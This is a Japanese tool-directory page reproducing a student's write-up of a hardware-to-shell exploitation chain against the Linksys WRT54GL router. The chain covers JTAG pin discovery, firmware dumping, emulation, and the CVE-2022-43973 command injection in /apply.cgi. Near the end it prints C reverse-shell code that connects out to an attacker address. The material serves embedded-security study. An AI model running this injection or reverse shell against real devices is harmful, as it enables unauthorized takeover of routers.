Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Linksys-WRT54GL-Exploitation — はんだからシェルへ: Linksys WRT54GLルーターの完全ハードウェアエクスプロイト (CVE-2022-43973) | Kitploit
ツール/GitHubGitHub/umbertodellamonica/linksys-wrt54gl-exploitation
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングデバッガペネトレーションテストハードウェアセキュリティバイナリ解析

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
学習と教育
ペイロード開発
ファームウェア解析
GitHubumbertodellamonica/linksys-wrt54gl-exploitation

Linksys-WRT54GL-Exploitation

はんだからシェルへ: Linksys WRT54GLルーターの完全ハードウェアエクスプロイト (CVE-2022-43973)

リポジトリを見る
22164ヶ月前未レビュー

はんだからシェルへ: Linksys WRT54GL ルーターの完全なハードウェア悪用 (CVE-2022-43973)

10フェーズにわたる組み込みセキュリティ研究の旅 — JTAGピン発見からMIPSベースのコンシューマールーターでのリモートコード実行まで。

著者Umberto Della Monica
役割MScサイバーセキュリティ学生 — 組み込みセキュリティ研究者
日付2026年5月
リポジトリLinksys-WRT54GL-Exploitation

免責事項: この研究は、私が個人所有するハードウェア上で教育および研究目的のみで実施されました。許可なくアクセスしたシステムはありません。ここで説明するすべての技術は、あなたが所有するデバイス、または明示的な書面によるテスト許可を得たデバイスでのみ再現する必要があります。著者は、提示された情報の誤用について一切の責任を負いません。常に適用される法律、規制、および責任ある開示慣行に従ってください。


目次

  • エグゼクティブサマリー
  • ターゲットデバイス概要
  • フェーズ1–2: ハードウェア偵察とピン発見
  • フェーズ3–4: JTAGデバッグとファームウェア抽出
  • フェーズ5–6: ファームウェア分析とエミュレーション
  • フェーズ7: 脆弱性調査 — CVE-2022-43973
  • フェーズ8: ペイロード開発 — MIPSリバースシェル
  • フェーズ9: エクスプロイト配信とルートシェル
  • フェーズ10: ネットワークとセッション分析
  • ツールと技術
  • 主要なポイント
  • 参考文献
  • 詳細ドキュメント
  • ライセンス

エグゼクティブサマリー

  • ターゲット: Linksys WRT54GL v1.1 — Broadcom BCM5352チップセット(MIPS 32ビットアーキテクチャ)をベースとした広く展開されているコンシューマールーター
  • 脆弱性: CVE-2022-43973 — HTTP管理インターフェースのコマンドインジェクションによるリモートコード実行
  • 範囲: 物理的なJTAGアクセスからリモートルートシェルまで10フェーズにわたる完全なハードウェアからソフトウェアへの悪用チェーン
  • 成果: カスタムMIPSリバースシェルペイロードを介した完全なリモートルートシェル取得
  • ツール: JTAGulator、Attify Badge、OpenOCD、Ghidra、binwalk、FirmAE、Broadcom MIPSクロスコンパイルツールチェーンを備えたDocker

Linksys WRT54GL v1.1


ターゲットデバイス概要

Linksys WRT54GLは、これまでに製造された最も象徴的なコンシューマールーターの1つです。オープンソースのファームウェアサポートにより、愛好家や研究者の間で人気を博しました。古いにもかかわらず、現在も世界中で活発に使用されており、組み込みセキュリティ研究の関連性の高いターゲットとなっています。

仕様値
チップセットBroadcom BCM5352
CPUクロック200 MHz
アーキテクチャMIPS 32ビット(リトルエンディアン)
フラッシュメモリ4 MB NOR(0xbfc00000でメモリマップ)
RAM16 MB
ワイヤレスIEEE 802.11b/g、54 Mbps
ネットワーク4x LAN + 1x WAN、SPI対応NATファイアウォール
OSLinuxベース(BusyBox)
ブートローダーCFE(Common Firmware Environment)

Internal Architecture


フェーズ1–2: ハードウェア偵察とピン発見

ハードウェアセキュリティ評価の最初のステップは物理的検査です。デバイスの筐体を開けた後、PCB上に2つのデバッグインターフェースを特定しました。

  • 12ピンJTAGヘッダー(未実装) — ハードウェアレベルのデバッグ用
  • 10ピンシリアル(UART)ポート — 3.3V TTLレベルで動作

JTAGヘッダーが未実装だったため、仮のピンヘッダーを半田付けしてデバッグインターフェースにアクセスしました。マルチメーターを使用してグラウンドとVccラインを特定し、ターゲットが3.3Vロジックレベルで動作することを確認しました。これはチップセットへの損傷を防ぐために重要です。

JTAGピン発見(JTAGulator使用)

JTAG信号をマッピングするために、Grand Idea StudioのJTAGulatorを使用しました。これは、可能なすべてのピン組み合わせをプローブすることでデバッグインターフェースを自動的に識別するハードウェアツールです。

JTAGulatorは以下のJTAGピン配置を正常に識別しました。

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

JTAG Port Close-up

JTAGulator Pin Discovery

Physical Connection: Linksys to JTAGulator


フェーズ3–4: JTAGデバッグとファームウェア抽出

JTAGピンが特定されたので、Attify Badge(FTDI FT2232Hチップを搭載したオープンソースのハードウェアセキュリティ評価ツール、GNU GPL v3.0)をルーターのJTAGヘッダーに接続しました。

OpenOCD(Open On-Chip Debugger)を、BCM5352ターゲットに合わせたカスタム設定で起動しました。公式の設定はこの特定のハードウェアリビジョンと互換性がなかったためです。

フラッシュメモリレイアウト

カスタムOpenOCD設定は、ルーターのフラッシュパーティション構成を定義します。

パーティション説明開始アドレスサイズ
CFEブートローダー0xbfc00000256 KB
ファームウェアカーネル + ルートFS0xbfc40000~3.7 MB
NVRAM設定0xbfff000064 KB

ファームウェアダンプ

CPUを停止させた後、メモリマップされたNORフラッシュの完全な4 MBダンプを実行しました。

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Attify Badge

OpenOCD Firmware Extraction


フェーズ5–6: ファームウェア分析とエミュレーション

binwalkによる静的解析

binwalkを使用して、ファームウェアダンプを分析し、埋め込まれたファイルシステム、圧縮セグメント、カーネルイメージを特定しました。

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # エントロピー分析
sha256sum ./dumps/wrt54gl.bin     # 整合性検証

分析により、標準的なBusyBoxベースのLinux環境を含むSquashFSルートファイルシステムが明らかになりました。binwalk -eとunsquashfsを使用して抽出し、詳細な調査を行いました。

FirmAEによるファームウェアエミュレーション

安全なテスト環境を作成するために、FirmAEを使用してファームウェアエミュレーションをセットアップしました。FirmAEはMIPSアーキテクチャをサポートする自動化されたファームウェアエミュレーションフレームワークです。これにより、仮想環境でルーターのサービス(HTTP、telnet)を再現し、物理デバイスにリスクを与えずにエクスプロイトをテストできました。

binwalk Firmware Analysis

FirmAE Emulation


フェーズ7: 脆弱性調査 — CVE-2022-43973

MIPS逆コンパイラプラグインを備えたGhidra(NSAのリバースエンジニアリングフレームワーク)を使用して、抽出されたファームウェアバイナリの静的解析を実行し、CVE-2022-43973の存在を確認しました。

脆弱性の詳細

フィールド値
CVE IDCVE-2022-43973
タイプリモートコード実行(RCE)
攻撃ベクトル認証済みHTTPリクエスト
根本原因未サニタイズのui_languageパラメータによるコマンドインジェクション
エンドポイントPOST /apply.cgi
トリガーPOST /upgrade.cgi(ファームウェアアップグレード)
影響完全なルートレベルのコマンド実行

脆弱性はルーターのCGIリクエストハンドラーに存在します。/apply.cgiエンドポイントのui_languageフォームフィールドは、サニタイズなしで任意の入力を受け入れます。シェルコマンドを;cmd;構文でラップして注入することにより、攻撃者は/upgrade.cgi経由でファームウェアアップグレードがトリガーされたときに実行されるコマンドをステージングできます。

影響を受けるファームウェアバージョン:

  • v4.30.18(最新) — セッションベースの認証が必要
  • v4.30.16(旧バージョン) — HTTPベーシック認証のみ使用

CVE-2022-43973 Confirmation in Ghidra


フェーズ8: ペイロード開発 — MIPSリバースシェル

ルーターのMIPSアーキテクチャ専用に設計されたカスタムリバースシェルをC言語で開発しました。ペイロードは攻撃者へのTCP接続を確立し、すべての標準ファイル記述子をソケットにリダイレクトし、インタラクティブシェルを起動します。

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr
ツールをダウンロード